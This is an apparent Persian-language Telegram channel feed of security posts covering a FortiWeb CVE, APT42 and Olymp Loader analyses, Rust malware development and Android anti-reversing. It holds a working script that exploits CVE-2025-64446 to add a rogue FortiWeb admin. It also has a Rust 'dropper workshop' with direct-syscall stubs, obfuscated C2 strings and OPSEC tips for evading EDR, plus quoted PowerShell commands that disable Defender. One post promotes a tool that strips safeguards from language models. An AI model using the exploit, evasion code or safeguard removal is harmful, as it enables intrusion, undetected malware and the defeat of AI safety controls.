Mr. SAM – Telegram
Mr. SAM
148 subscribers
131 photos
7 videos
23 files
751 links
شنبه
٦ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏27 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
#Obfuscator

نوشتن یک ابزار مبهم‌ساز توسط محقق امنیتی و متخصص مهندسی معکوس خانم ژائو ویتور - ژاپنی .

توسعه ابزار Obfuscator/Deobfuscating از ابتدا ...

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
1
#FortiWeb

CVE-2025-64446 اجرای کد از راه دور بدون احراز هویت در FortiWeb از طریق عبور مسیر و دور زدن احراز هویت CGI
*
*
یعنی بر اساس این
می‌توان چنین چیزی به دست آورد:
python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}).encode()).decode()

payload = json.dumps({
"data": {
"q_type": 1,
"name": "note2",
"access-profile": "prof_admin",
"password": "note2",
"comment": "automated RCE"
}
})

cmd = [
"curl", "--path-as-is", "-sk",
"-H", f"CGIINFO: {header}",
"-H", "Content-Type: application/json",
"--data", payload,
"https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

خروجی از دستگاه:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }


یعنی به سادگی یک ادمین جدید می‌سازیم ...
Please open Telegram to view this post
VIEW IN TELEGRAM
1
📍دوره آموزشی RTL‑SDR در سیسوگ همراه با ویدیوهای آموزشی جذاب قرار گرفت😍🔥
👈#سیسوگ
🖋 تهیه کننده دوره:
#edward1stark

📻 رادیو نرم‌افزاری یا Software Defined Radio (SDR) یکی از جذاب‌ترین حوزه‌های دنیای الکترونیک و مخابرات است. در این مجموعه آموزشی از پایه با ماژول معروف RTL‑SDR آشنا می‌شوید و یاد می‌گیرید چگونه یک گیرنده رادیویی دیجیتال واقعی را تنها با یک دانگل ساده بسازید.

هدف این دوره، آموزش عملی مفاهیم مخابرات و پردازش سیگنال با ابزار در دسترس است تا بدون تجهیزات گران، بتوانید موج‌های رادیویی اطراف خود را دریافت، تحلیل و حتی رمزگشایی کنید. اگر به دنیای RF، SDR و سیگنال‌های بی‌سیم علاقه دارید، این مجموعه بهترین نقطه‌ی شروع شماست.

🌐 لینک مطلب در سیسوگ

📣 عضویت در کانال تلگرام سیسوگ
#APT42

تحلیل فنی عملیات جاسوسی SpearSpecter: حمله جدید APT42 علیه اهداف دفاعی و دولتی

گزارش‌ها حاکی از شناسایی یک کمپین جاسوسی سایبری جدید و فعال با نام رمز SpearSpecter است که توسط هکرهای ایرانی مورد حمایت دولت، APT42 (شناخته‌شده با نام‌هایی چون APT35, Charming Kitten, Mint Sandstorm) اجرا شده است.

این کمپین که توسط «آژانس ملی دیجیتال اسرائیل» (INDA) شناسایی شده، از اوایل سپتامبر ۲۰۲۵ فعال بوده و به طور سیستماتیک مقامات ارشد و حساس در بخش‌های دفاعی و دولتی را هدف قرار می‌دهد.

نکته قابل توجه در این عملیات، گسترش سطح حمله به اعضای خانواده اهداف اصلی است. این تاکتیک، یک اهرم فشار روانی و یک مسیر دسترسی جایگزین برای مهاجمان ایجاد می‌کند و نشان‌دهنده سطح بالایی از شخصی‌سازی و جمع‌آوری اطلاعات پیش از حمله است.

جزئیات فنی و زنجیره حمله (Attack Chain)

عملیات SpearSpecter یک حمله چند مرحله‌ای و پیچیده است که ترکیبی از مهندسی اجتماعی و تکنیک‌های فنی پیشرفته را به کار می‌گیرد:

۱. فاز مهندسی اجتماعی :
مهاجمان با استفاده از تاکتیک‌های مهندسی اجتماعی بسیار قانع‌کننده (مانند جعل هویت مخاطبین مورد اعتماد در واتس‌اپ) با اهداف ارتباط برقرار می‌کنند. این ارتباط ممکن است روزها یا هفته‌ها طول بکشد تا اعتماد جلب شود. سپس قربانی را به بهانه‌هایی مانند «ارسال اسناد لازم برای یک جلسه» یا «دعوت به یک کنفرانس معتبر» فریب می‌دهند.

۲. تحویل پی‌لود اولیه:
یک لینک مخرب برای قربانی ارسال می‌شود. پس از کلیک، قربانی وارد یک زنجیره ریدایرکت می‌شود. نکته جالب توجه در این مرحله، سوءاستفاده از پروتکل هندلر search-ms: ویندوز است. این تکنیک به مهاجم اجازه می‌دهد تا یک فایل Windows Shortcut (`.LNK`) را که بر روی یک سرور WebDAV میزبانی شده، در قالب یک فایل PDF جعلی به قربانی نمایش دهد.

۳. اجرای لودر:
هنگامی که قربانی فایل .LNK جعلی را باز می‌کند، این فایل با یک زیردامنه در سرویس Cloudflare Workers ارتباط برقرار کرده و یک Batch Script (اسکریپت دسته‌ای) را به عنوان لودر (Loader) واکشی و اجرا می‌کند.

۴. استقرار بدافزار نهایی :
این لودر در نهایت بدافزار اصلی عملیات، یعنی بک‌دور شناخته‌شده و مبتنی بر PowerShell به نام TAMECAT را اجرا می‌کند.

تحلیل بدافزار TAMECAT

۔TAMECAT یک چارچوب (Framework) ماژولار مبتنی بر PowerShell است که قابلیت‌های گسترده‌ای برای جاسوسی در اختیار مهاجمان قرار می‌دهد:

ویژگی کلیدی: C2 چند کاناله (Multi-Channel C2)
برجسته‌ترین ویژگی TAMECAT، استفاده از سه کانال ارتباطی مجزا برای فرماندهی و کنترل (C2) است. این کار به منظور افزایش پایداری و مقاومت (Resiliency) در برابر شناسایی و مسدودسازی انجام می‌شود:

HTTPS: کانال استاندارد برای ارتباط.

Discord: استفاده از Webhook URL سرویس دیسکورد برای ارسال اطلاعات اولیه سیستم قربانی و دریافت دستورات از یک کانال مشخص.

Telegram: بدافزار به دستورات ورودی از یک بات تلگرامی که تحت کنترل مهاجم است، گوش می‌دهد و کدهای PowerShell بیشتری را از زیردامنه‌های Cloudflare Workers دریافت و اجرا می‌کند.

قابلیت‌های جاسوسی:

* انجام شناسایی (Reconnaissance) دقیق از سیستم قربانی.

* جمع‌آوری و سرقت فایل‌ها بر اساس پسوندهای خاص.

* سرقت داده‌ها از مرورگرها (مانند Google Chrome و Microsoft Edge).

* جمع‌آوری و استخراج صندوق‌های پستی (Mailboxes) نرم‌افزار Outlook.

* عکس‌برداری از صفحه نمایش (Screenshots) در فواصل زمانی کوتاه (مثلاً هر ۱۵ ثانیه).

کانال‌های استخراج داده (Exfiltration):

داده‌های سرقت شده از طریق پروتکل‌های HTTPS یا FTP به زیرساخت مهاجم منتقل می‌شوند.

تکنیک‌های گریز از شناسایی (Evasion Techniques)

۔APT42 در این عملیات از مجموعه‌ای از تکنیک‌های پیشرفته برای پنهان‌کاری استفاده کرده است:

۔* اجرا در حافظه (In-Memory): بدافزار عمدتاً در حافظه اجرا می‌شود تا ردپای کمتری روی دیسک باقی بگذارد (Fileless).

۔* استفاده از LOLBins: بهره‌گیری از باینری‌های قانونی خود سیستم‌عامل (Living-off-the-Land Binaries) برای پنهان کردن فعالیت‌های مخرب.

۔* رمزگذاری: رمزگذاری تله‌متری و پی‌لودهای کنترلی برای جلوگیری از تحلیل ترافیک.

۔* Obfuscation: مبهم‌سازی سورس کد PowerShell.

۔* زیرساخت ترکیبی: استفاده هوشمندانه از سرویس‌های ابری قانونی و معتبر (Cloudflare Workers, Discord, Telegram) در کنار منابع تحت کنترل مهاجم. این کار شناسایی ترافیک C2 را بسیار دشوار می‌کند، زیرا در میان ترافیک عادی شبکه پنهان می‌شود.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
جعبه شنی خفن اوپن سورس ویندوزی: خداحافظی با ویروس و محدودیت‌های اجرای برنامه و لینک و ...

اجرای همزمان چند برنامه (مولتی‌اکانت): شما می‌توانید محدودیت‌های ویندوز را بشکنید و چند اکانت از برنامه‌هایی مانند استیم، دیسکورد یا هر پیام‌رسان دیگری را به صورت همزمان فعال کنید. 🧑‍💻

ایزوله‌سازی برای امنیت بی‌نقص: هر فایل، لینک یا برنامه مشکوکی را در محیطی امن و ایزوله اجرا کنید. در صورت وجود ویروس یا بدافزار، هیچ آسیبی به سیستم اصلی شما وارد نخواهد شد.🛡

این ابزار رایگان، یک لایه حفاظتی ضروری برای هر کاربر ویندوز است.

تماشای کامل آموزش در یوتیوب:
https://youtu.be/ArBwMOmeM1E

#امنیت_ویندوز #مولتی_اکانت #آموزش_کامپیوتر #Sandboxie
ابزاری ساخته شده که لایه‌های Safe Guard رو از مدل‌های زبانی حذف می‌کنه:

https://www.youtube.com/watch?v=LJi9AzJRe-E

حالا موضوع مهم کجاست؟ وقتی این لایه‌ها نباشن این مدل‌ها می‌رن روی حالت بدون سانسور خودشون 😈

@haghiri75_blog
#PublicGuard

محافظت از سرویس‌های شما در برابر اسکنرهای عمومی.

این پروژه آدرس‌های IP پلتفرم‌ها و سرویس‌های محبوب تهدیدشناسی (Threat Intelligence) و جمع‌آوری داده‌ها (Shodan، Censys، ZoomEye، FOFA، BinaryEdge و غیره) را مسدود می‌کند تا محیط‌های تست و توسعه شما به طور تصادفی در پایگاه داده‌های آن‌ها قرار نگیرند.

⚙️ نصب ساده با یک دستور:

curl -fsSL https://raw.githubusercontent.com/cleverg0d/PublicGuard/main/block_scanners.sh | sudo bash

🔗 مخزن: github.com/cleverg0d/PublicGuard
Please open Telegram to view this post
VIEW IN TELEGRAM
#Rust_Malware

توسعه بدافزار با معماری Rust؛ کابوس تحلیلگران بدافزار و عبور از مرزهای تحلیل سنتی و Evasion مدرن

در اکوسیستم توسعه بدافزار، زبان‌های C++/C همچنان حاکم هستند، اما در عملیات‌های پیشرفته APT و باج‌افزارهای مدرن (مانند BlackCat/ALPHV)، شاهد یک تغییر پارادایم تهاجمی به سمت Rust هستیم.

این مطلب به کالبدشکافی فنی این موضوع می‌پردازد که چرا Rust به سلاح جدید Red Teamerها تبدیل شده و چگونه می‌توان با ترکیب Direct Syscalls و معماری no_std ، کابوسی برای تحلیلگران و EDRها خلق کرد.

چرا Rust؟ فراتر از Memory Safety

مهاجرت به Rust در دنیای بدافزار بر پایه دو اصل استوار است:

1. هزینه سربار تحلیل (Analysis Overhead): تحلیل باینری‌های Rust به دلیل ساختار منحصر‌به‌فرد کامپایلر و مدیریت حافظه، به مراتب پیچیده‌تر از ++C است.

2. امضای رفتاری جدید (Novel Signatures): بسیاری از الگوریتم‌های Heuristic که برای شناسایی الگوهای کامپایلرهای MSVC یا MinGW آموزش دیده‌اند، در برابر ساختار LLVM-based و کدهای Rust دچار خطا می‌شوند.

چالش‌های مهندسی معکوس (Reverse Engineering)

اگر خروجی Decompiler ابزاری مثل Ghidra یا IDA Pro را بررسی کنیم، با چالش‌های جدی روبرو هستیم:

* کابوس Function Inlining: کامپایلر rustc در opt-level=3 یا z ، تهاجمی عمل کرده و مرز توابع را از بین می‌برد.

* پیچیدگی Control Flow Graph: کدهای مربوط به Result و Option (مدیریت خطا) و Panic handling ، گراف جریان برنامه را پر از نویز می‌کنند که تشخیص منطق اصلی (Business Logic) را دشوار می‌سازد.

Symbol Mangling: حتی با وجود ابزارهای Demangling، نام‌گذاری توابع در Rust طولانی و شامل Hashهای منحصر‌به‌فرد است.

هنر کاهش حجم و اختفا: معماری no_std

یکی از نقدهای وارد بر Rust، حجم بالای باینری به دلیل لینک شدن استاتیک std است (حدود ۱۵۰ کیلوبایت برای یک Hello World).

راهکار سطح APT: استفاده از no_std.

در این حالت، توسعه‌دهنده بدافزار دسترسی به کتابخانه استاندارد را قطع کرده و مستقیماً با libc یا WinAPI صحبت می‌کند. نتیجه؟

* کاهش حجم باینری به زیر ۲۰ کیلوبایت.

* حذف کدهای اضافه (Dead Code) و کاهش سطح حمله برای Signature Detection.

کارگاه عملی: Dropper مدرن با تکنیک Syscalls

در این سناریو، به جای استفاده از APIهای مانیتور شده (مانند VirtualAlloc یا CreateRemoteThread که هوک شده‌اند)، از Indirect Syscalls استفاده می‌کنیم.

مرحله ۱: جمع‌آوری اطلاعات و Obfuscation

استفاده از Crateهایی مانند obfstr برای رمزنگاری رشته‌ها در زمان کامپایل (Compile-time Hashing) تا تحلیل استاتیک و دستور strings هیچ اطلاعات مفیدی ندهد.

مرحله ۲: دور زدن User-mode Hooks

به جای فراخوانی توابع kernel32.dll ، ما مستقیماً ntdll.dll را پارس کرده و شماره Syscall (SSN) توابع حیاتی مانند NtAllocateVirtualMemory را استخراج می‌کنیم.

تکنیک Halo’s Gate / Tartarus:

با استفاده از اسمبلی مستقیم در Rust (global_asm!)، تابع را فراخوانی می‌کنیم. بدین ترتیب EDR که روی توابع Win32 هوک گذاشته است، کاملاً کور می‌شود.

// Conceptual Syscall invocation in Rust
unsafe {
let status = syscall!(
NtAllocateVirtualMemory,
process_handle,
&mut base_addr,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ
);
}


مرحله ۳: اجرای بدون Thread جدید

ساخت CreateRemoteThread بسیار پر سروصداست. راهکار جایگزین:

Thread Hijacking: متوقف کردن یک ترد موجود، تغییر RIP به آدرس شل‌کد و ادامه اجرا.

Callback Injection: استفاده از توابعی که Callback می‌پذیرند (مانند TpAllocWork در Thread Pool) برای اجرای پیلود در بستری کاملاً قانونی.

نکات حیاتی OPSEC در Rust

1. مسیرهای افشاگر: Rust مسیرهای مطلق سیستم بیلد (مانند C:\Users\Attacker\.cargo\...) را در باینری نگه می‌دارد. حتماً از فلگ --remap-path-prefix در زمان کامپایل استفاده کنید.

2. کتابخانه شبکه: هرگز از reqwest استفاده نکنید (حجم بالا + TLS Fingerprint). از FFI برای فراخوانی WinHTTP یا سوکت‌های خام استفاده کنید.

Panic = Death: در بدافزار، panic باید منجر به abort بی‌صدا شود. کدهای خطای پیش‌فرض Rust اطلاعات زیادی را در کنسول یا لاگ سیستم نشت می‌دهند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Rust_Malware توسعه بدافزار با معماری Rust؛ کابوس تحلیلگران بدافزار و عبور از مرزهای تحلیل سنتی و Evasion مدرن در اکوسیستم توسعه بدافزار، زبان‌های C++/C همچنان حاکم هستند، اما در عملیات‌های پیشرفته APT و باج‌افزارهای مدرن (مانند BlackCat/ALPHV)، شاهد یک…
پیاده‌سازی Direct Syscall در حالت no_std

این کد نشان می‌دهد چگونه بدون هیچ وابستگی به کتابخانه‌های استاندارد ویندوز (که EDRها روی آن‌ها هوک دارند)، مستقیماً با کرنل صحبت می‌کنیم.

عنوان : syscall_stub.rs

#![no_std]
#![no_main]
#![feature(asm)] // Nightly feature for direct assembly

// تعریف Panic Handler چون std نداریم
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
loop {}
}

// تعریف ورودی برنامه (جایگزین main)
#[no_mangle]
pub extern "system" fn _start() {
// متغیرهای مورد نیاز برای NtAllocateVirtualMemory
let process_handle: isize = -1; // Current Process (0xFFFFFFFF)
let mut base_addr: *mut u8 = core::ptr::null_mut();
let mut region_size: usize = 0x1000; // 4KB payload space

// Syscall Number برای NtAllocateVirtualMemory در Windows 10/11 (مثال: 0x18)
// نکته: در بدافزار واقعی، این عدد باید پویا (Dynamically) پیدا شود (Hell's Gate)
let syscall_ssn: u32 = 0x18;

unsafe {
let status: i32;

// اجرای مستقیم اسمبلی (Direct Syscall)
// آرگومان‌ها طبق calling convention ویندوز (RCX, RDX, R8, R9, Stack) پاس داده می‌شوند
// این بخش کاملاً از دید EDR User-mode Hook مخفی می‌ماند
core::arch::asm!(
"mov r10, rcx",
"syscall",
in("eax") syscall_ssn,
in("rcx") process_handle,
in("rdx") &mut base_addr,
in("r8") 0,
in("r9") &mut region_size,
// سایر آرگومان‌ها باید در Stack پوش شوند (در اینجا برای سادگی کد خلاصه شده)
lateout("eax") status,
);
}

// ادامه پروسه تزریق شل‌کد...
}

مبهم‌سازی رشته‌ها (String Obfuscation)

توضیح: استفاده از ماکرو obfstr باعث می‌شود رشته‌ها در زمان کامپایل با یک کلید تصادفی XOR شوند و فقط در لحظه اجرا در حافظه Stack دیکد شوند.

use obfstr::obfstr;

fn connect_c2() {
// رشته IP هرگز به صورت Plaintext در باینری ذخیره نمی‌شود
let c2_ip = obfstr!("185.199.108.153");
let user_agent = obfstr!("Mozilla/5.0 (Windows NT 10.0; Win64; x64)");

// تحلیلگر با دستور strings هیچ IP یا User-Agent ای نخواهد دید
// decompilation نیز فقط یک سری عملیات XOR بی‌معنی نشان می‌دهد
println!("Connecting to: {}", c2_ip);
}


"پاورقی فنی"

جعبه ابزار تحلیل (Resources Box)

> جعبه ابزار تحلیلگر برای مقابله با Rust:

> اگر در تیم آبی (Blue Team) هستید یا می‌خواهید بدافزار Rust خودتان را دیباگ کنید، ابزارهای سنتی کافی نیستند:

> 1. افزونه RustDemangler برای Ghidra/IDA:
> نام‌های توابع در Rust به صورت _ZN3std2io5stdio6_print17h... در می‌آیند. این پلاگین، نام‌ها را به فرمت انسانی (Human-readable) برمی‌گرداند تا بفهمید تابع دقیقاً چه می‌کند.

> 2. ابزار Ferib (The Rust Analyzer):
> یک ابزار تخصصی مهندسی معکوس برای باینری‌های Rust یا Go. این ابزار به صورت خودکار ساختارهای داده، توابع و کتابخانه‌های لینک شده را شناسایی کرده و فایل .idb یا پروژه Ghidra را غنی‌سازی می‌کند.

۔Rust دیگر یک "ترند" نیست؛ یک تغییر استراتژیک در زرادخانه سایبری است. ترکیب امنیت حافظه (Memory Safety) با قدرت سطح پایین C و قابلیت‌های مدرن LLVM، آن را به گزینه‌ای ایده‌آل برای توسعه ایمپلنت‌های پیچیده تبدیل کرده است.

@NullError_ir
#Ai_Gmail

😡گوگل به‌طور پیش فرض قابلیت‌های هوش مصنوعی را در جیمیل فعال کرده است - بدون هشدار

اگر از جیمیل استفاده می‌کنید - تنظیمات را بررسی کنید. گوگل به‌طور خودکار «قابلیت‌های هوشمند» و شخصی‌سازی را فعال کرده است که محتوا و فعالیت‌هایتان را برای عملکرد هوش مصنوعی (از جمله gemini) تحلیل می‌کند.

📌 این یعنی:
ایمیل‌ها، چت‌ها، رویدادها، فایل‌ها - همه می‌توانند برای تولید پیشنهادات، پیش‌نویس‌ها و توصیه‌ها استفاده شوند.

این قابلیت‌ها به‌صورت پیش‌فرض فعال هستند، حتی اگر شما به‌صورت دستی آنها را فعال نکرده باشید.

این ممکن است منجر به نشت اطلاعات حساس شود، به‌ویژه در حساب‌های کاری.

چگونه غیرفعال کنیم:
1. جیمیل را باز کنید → ⚙️ تنظیمات → «همه تنظیمات» → (اگر چند جیمیل دارید روی هر کدام بزنید)
2. تب «عمومی» → بخش «قابلیت‌های هوشمند» را پیدا کنید (Smart features)
3. تیک‌ها را بردارید و روی «غیرفعال کردن و بارگذاری مجدد» کلیک کنید

از مکاتبات خود محافظت کنید. اجازه ندهید هوش مصنوعی چیزهایی را بخواند که برایش در نظر گرفته نشده است.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
1
#ReverseEngineeringAndroid_Rust

مهندسی معکوس APK اندروید

سخت‌ترین حالت برای مهندسی معکوس، توسعه اپلیکیشن به صورت Hybrid است که در آن منطق اصلی (Core Logic) به زبان ++C یا ترجیحاً Rust نوشته شده، به صورت کتابخانه Native (.so) کامپایل شده و با استفاده از تکنیک‌های O-LLVM و Virtualization محافظت می‌شود.

تحلیل فنی :

۱. جاوا (Java) و کاتلین (Kotlin): بازنده مطلق

این دو زبان برای توسعه Native اندروید استفاده می‌شوند، اما برای امنیت منطق (Code Logic) بدترین گزینه هستند.

ساختار: کدهای جاوا و کاتلین به Bytecode ماشین مجازی جاوا (JVM/Dalvik) ترجمه می‌شوند.

مهندسی معکوس: با ابزارهایی مثل Jadx، Apktool یا JEB Decompiler، فایل‌های .dex به راحتی به کد منبع (Source Code) تقریبا اصلی برمی‌گردند.

دفاع: استفاده از R8 یا ProGuard فقط نام کلاس‌ها و متغیرها را تغییر می‌دهد (Obfuscation سطحی) که برای یک تحلیلگر با تجربه، مانع جدی نیست.

۲. فلاتر (Flutter): گزینه میانی (مزاحم اما نه غیرممکن)

فلاتر از جاوا/کاتلین امن‌تر است، اما غیرقابل نفوذ نیست.

ساختار: کدهای Dart در حالت Release به صورت AOT (Ahead-of-Time) به کدهای باینری ماشین (Machine Code) کامپایل می‌شوند و در یک فایل کتابخانه بزرگ (معمولاً libapp.so) قرار می‌گیرند.

مهندسی معکوس: مهندسی معکوس فلاتر نیاز به دانش عمیق‌تری از ساختار داخلی Dart VM دارد. ابزارهایی مثل ReFlutter یا اسکریپت‌های Doldrums وجود دارند که می‌توانند Snapshotهای دارت را دامپ کنند. اگرچه کد تمیز به دست نمی‌آید، اما Stringها و منطق کلی قابل استخراج است.

نقطه ضعف: ساختار فلاتر استاندارد است؛ اگر تحلیلگر بداند دنبال چه چیزی بگردد (مثل جداول متدها)، می‌تواند پچ‌های Frida را اعمال کند.

۳. نیتیو (C/++C و Rust) در قالب .so: قلعه دفاعی

این قوی‌ترین روش موجود است. استفاده از NDK (Native Development Kit) باعث می‌شود کد شما مستقیماً به Assembly (معمولاً ARM64) کامپایل شود.

چرا این روش سخت‌تر است؟

از بین رفتن ساختار: اطلاعات سطح بالا (High-level) مثل نام متغیرها، ساختار کلاس‌ها و نوع داده‌ها در فرآیند کامپایل از بین می‌روند. تحلیلگر باید مستقیماً با اسمبلی و رجیسترها در IDA Pro یا Ghidra کار کند.

پیچیدگی جریان کنترل: کامپایلرهای ++C و Rust کدهای بهینه‌سازی شده‌ای تولید می‌کنند که دنبال کردن جریان برنامه (Control Flow) را بسیار دشوار می‌کند.

چگونه اپلیکیشنی بسازیم که "کابوس" تحلیلگران شود؟

برای رسیدن به سطح امنیت مناسب ، تنها استفاده از ++C کافی نیست.پیشنهاد میکنم معماری زیر را پیاده‌سازی کنید:

گام اول: انتخاب زبان (پیشنهاد من: Rust)

به جای ++C، از Rust استفاده کنید.

چرا؟ باینری‌های تولید شده توسط Rust به دلیل نحوه مدیریت حافظه و ماکروها، بسیار پیچیده‌تر و "کثیف‌تر" از ++C هستند. تحلیل آنها در Ghidra برای تشخیص توابع استاندارد بسیار سخت‌تر است. همچنین Rust در برابر آسیب‌پذیری‌های حافظه (Buffer Overflow) که تحلیلگران برای اکسپلویت استفاده می‌کنند، ایمن است.

گام دوم: استفاده از O-LLVM (Obfuscator-LLVM)

کد Native خود را با یک کامپایلر استاندارد بیلد نکنید. از نسخه شخصی‌سازی شده LLVM استفاده کنید تا تکنیک‌های زیر را روی فایل .so اعمال کند:

۔Control Flow Flattening (CFF): ساختار شرطی if/else و حلقه‌ها را به یک ساختار مسطح و پیچیده تبدیل می‌کند که گراف جریان برنامه (CFG) را در IDA Pro غیرقابل خواندن می‌کند.

۔Bogus Control Flow: اضافه کردن بلوک‌های کد جعلی که هرگز اجرا نمی‌شوند اما تحلیلگر را گمراه می‌کنند.

۔Instruction Substitution: جایگزینی دستورات ساده ریاضی (مثل جمع) با فرمول‌های پیچیده ریاضی که همان نتیجه را می‌دهند.

گام سوم: تکنیک‌های Anti-Tamper و Anti-Frida (در سطح Native)

همه چک‌های امنیتی را در لایه Native انجام دهید، نه جاوا.

۔Direct Syscalls: برای انجام عملیات حساس (مثل خواندن فایل یا شبکه)، از توابع استاندارد libc (مثل open, read) استفاده نکنید، زیرا Frida به راحتی آنها را هوک (Hook) می‌کند. مستقیماً از دستورات اسمبلی SVC (در ARM64) برای صدا زدن کرنل استفاده کنید.

تشخیص Frida: اسکن proc/self/maps برای پیدا کردن کتابخانه‌های frida-agent یا پورت‌های باز مربوط به frida-server.

۔TracerPid Check: بررسی وضعیت TracerPid در فایل /proc/self/status. اگر غیر از ۰ باشد، یعنی برنامه‌ای (مثل دیباگر) به اپلیکیشن متصل است. این کار را در یک ترد جداگانه و مخفی انجام دهید.

گام چهارم: رمزنگاری رشته‌ها (String Encryption)

هیچ رشته متنی (مثل URL سرور، کلیدهای API) نباید به صورت Cleartext در فایل .so باشد.

همه رشته‌ها را در زمان کامپایل XOR کنید و فقط در لحظه نیاز در حافظه دیکد کرده و بلافاصله پاک کنید.
Please open Telegram to view this post
VIEW IN TELEGRAM
2
Mr. SAM
#ReverseEngineeringAndroid_Rust مهندسی معکوس APK اندروید سخت‌ترین حالت برای مهندسی معکوس، توسعه اپلیکیشن به صورت Hybrid است که در آن منطق اصلی (Core Logic) به زبان ++C یا ترجیحاً Rust نوشته شده، به صورت کتابخانه Native (.so) کامپایل شده و با استفاده از…
نتیجه‌گیری و توصیه اجرایی

برای ساخت امن‌ اپلیکیشن اندرویدی:

رابط کاربری (UI) را با Kotlin یا Flutter بسازید.

تمام منطق حساس، الگوریتم‌ها و ارتباطات شبکه را با زبان Rust بنویسید.

از طریق JNI (در کاتلین) یا FFI (در فلاتر) با لایه Native ارتباط برقرار کنید.

کتابخانه Rust را با فلگ‌های Obfuscation کامپایل کنید.

مکانیزم‌های Anti-Debug و Checksum فایل APK را داخل همان کتابخانه Rust قرار دهید.


📎یک نمونه اپ بسیار ساده از نحوه صدا زدن یک تابع امن Rust در اندروید (از طریق JNI) را برای علاقه مندان نوشته و در ⬅️گیت‌هابم ➡️قرار داده‌ام .

این اپ اندرویدی با rust در نیتیو به آدرس telegram.org ریکوئست میزند . به عمد یک آدرس فیلتر شده و آن هم تلگرام را گذاشته‌ام که با نوع کد نویسی آشنا شوید .

معماری پروژه

لایه Rust: مسئول برقراری اتصال HTTPS (با استفاده از reqwest یا ureq و rustls). این لایه TLS Handshake را خودش انجام می‌دهد که شنود آن سخت‌تر است.

لایه JNI: پل ارتباطی بین کاتلین و Rust.

لایه Kotlin (WorkManager): برای اجرای تسک در پس‌زمینه (Background) بدون نیاز به باز بودن برنامه و سازگار با محدودیت‌های Doze mode از اندروید 10 به بالا.

در گیت‌هاب توضیحات بیشتری است که حتما بخوانید 🔵

⚠️ این پروژه صرفاً با اهداف آموزشی در زمینه امنیت توسعه یافته است. استفاده از این تکنیک‌ها در بدافزارها یا اپلیکیشن‌های مخرب غیرقانونی و غیراخلاقی است.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM pinned «نتیجه‌گیری و توصیه اجرایی برای ساخت امن‌ اپلیکیشن اندرویدی: رابط کاربری (UI) را با Kotlin یا Flutter بسازید. تمام منطق حساس، الگوریتم‌ها و ارتباطات شبکه را با زبان Rust بنویسید. از طریق JNI (در کاتلین) یا FFI (در فلاتر) با لایه Native ارتباط برقرار کنید.…»
#Indirect_Shellcode_Executor

اجراکننده‌ی غیرمستقیم شل‌کد، برای استفاده از آسیب‌پذیری/پیکربندی نادرست موجود در متد ReadProcessMemory از API ویندوز .

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
#Olymp_Loader

تهدید نوظهور : تبلیغ سرویس بدافزار جدید در انجمن‌های هکرها با ویژگی‌های ضد تحلیل و تشخیص

تحلیل بدافزار Olymp Loader: سرویس بدافزار (MaaS) مبتنی بر اسمبلی و تکامل مکانیزم‌های FUD

گزارش‌های اخیر از سطح زیرین فروم‌های هکری (Underground Forums) مانند XSS و HackForums حاکی از ظهور یک بدافزار جدید و خطرناک در عرصه Malware-as-a-Service (MaaS) به نام Olymp Loader است. این بدافزار که توسط اپراتوری با نام مستعار OLYMPO توسعه یافته، با ادعای کدنویسی ۱۰۰٪ به زبان اسمبلی ، وعده عملکرد بالا و نرخ تشخیص (Detection Rate) بسیار پایین را به مجرمان سایبری می‌دهد.

ویژگی‌های کلیدی و معماری فنی

برخلاف بسیاری از لودرها که صرفاً یک Wrapper ساده هستند، Olymp Loader یک ابزار چندمنظوره است که نقش Loader، Crypter و Stealer را ایفا می‌کند.

1. زبان و ساختار: توسعه‌دهنده ادعا می‌کند تمام کدها به زبان Assembly نوشته شده‌اند تا مهندسی معکوس (Reverse Engineering) را دشوار کرده و حجم فایل را به حداقل برساند. این ویژگی به عنوان اصلی‌ترین فاکتور فروش برای وضعیت FUD (Fully UnDetectable) تبلیغ می‌شود.

2. تغییر استراتژی (Pivot) در آگوست ۲۰۲۵:

* تا قبل از آگوست، این بدافزار دارای قابلیت‌های Botnet و پنل وب بود.

* در یک تغییر ساختار عمده (Restructuring)، قابلیت‌های بات‌نت حذف و تمرکز کاملاً بر روی Dropper/Loader بودن قرار گرفت.

* مکانیزم جدید: پی‌لود نهایی (مانند LummaC2 یا Raccoon) اکنون مستقیماً درون Stub و به صورت Encrypted تعبیه می‌شود و تنها پس از غیرفعال‌سازی آنتی‌ویروس اجرا می‌گردد.

مکانیزم‌های فرار از تشخیص و Anti-Analysis

تکنیک‌های بکار رفته برای دور زدن دفاع‌های میزبان (Host Defenses) بسیار تهاجمی است:

* غیرفعال‌سازی Windows Defender: بدافزار از دستورات PowerShell و ابزارهای جانبی برای کور کردن سیستم دفاعی استفاده می‌کند:

 
Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableScanningNetworkFiles $true

Set-MpPreference -DisableIOAVProtection $true

Add-MpPreference -ExclusionPath $env:TEMP


استفاده از ابزار Defender Remover: لودر با دراپ کردن ابزارهایی مانند PowerRun.exe و اسکریپت‌های .reg در دایرکتوری Temp، اقدام به حذف سرویس‌های امنیتی، پاک کردن فایل‌های SecurityHealthSystray.exe و دستکاری فولدر WinSxS می‌کند.

پایداری (Persistence): ایجاد شورتکات در فولدر Startup و کپی کردن خود در مسیر %AppData% با نام‌های رندوم.

ماژول‌های سرقت اطلاعات (Stealer Modules)

سرویس Olymp Loader علاوه بر لود کردن بدافزارهای دیگر، دارای ماژول‌های داخلی قدرتمندی است:

Telegram Stealer (tgsteal.py):

* نوشته شده به زبان پایتون.

* پروسه‌های تلگرام را می‌بندد (Kill Process).

